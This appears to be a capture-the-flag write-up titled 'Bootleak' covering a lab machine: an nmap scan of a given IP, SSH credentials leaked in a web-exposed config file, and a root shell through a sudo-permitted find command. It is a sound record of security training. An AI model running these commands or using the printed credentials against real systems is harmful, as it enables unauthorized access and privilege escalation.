Home›CTF & Writeups›Bootleak

Bootleak

✓ SOLVED

Exposed HTTP configuration → SSH credentials → sudo find shell escape → root.

0

Overview

Exposed HTTP configuration → SSH credentials → sudo find shell escape → root.

User Flag✓
Root Flag✓
StatusSolved
1

Reconnaissance

Nmap found FTP 30321, SSH 30322, and HTTP 30880. The HTTP root exposed network.conf.

Scan
nmap -sV -p 30321,30322,30880 66.228.59.44
2

Exposed Configuration

network.conf
ssh_user=labuser
ssh_pass=TftpS3cret!
3

SSH Foothold

SSH
ssh -p 30322 labuser@66.228.59.44
cat user.txt
USER FLAGflag{[REDACTED]}
4

Privilege Escalation — find

sudo -l allowed passwordless root execution of /usr/bin/find.

Root shell
sudo /usr/bin/find . -exec /bin/bash -p \; -quit
ROOT FLAGflag{[REDACTED]}
✓

Attack Path

Both challenge flag values are intentionally redacted in the public writeup and screenshots.

HTTP→network.conf→SSH→sudo find→Root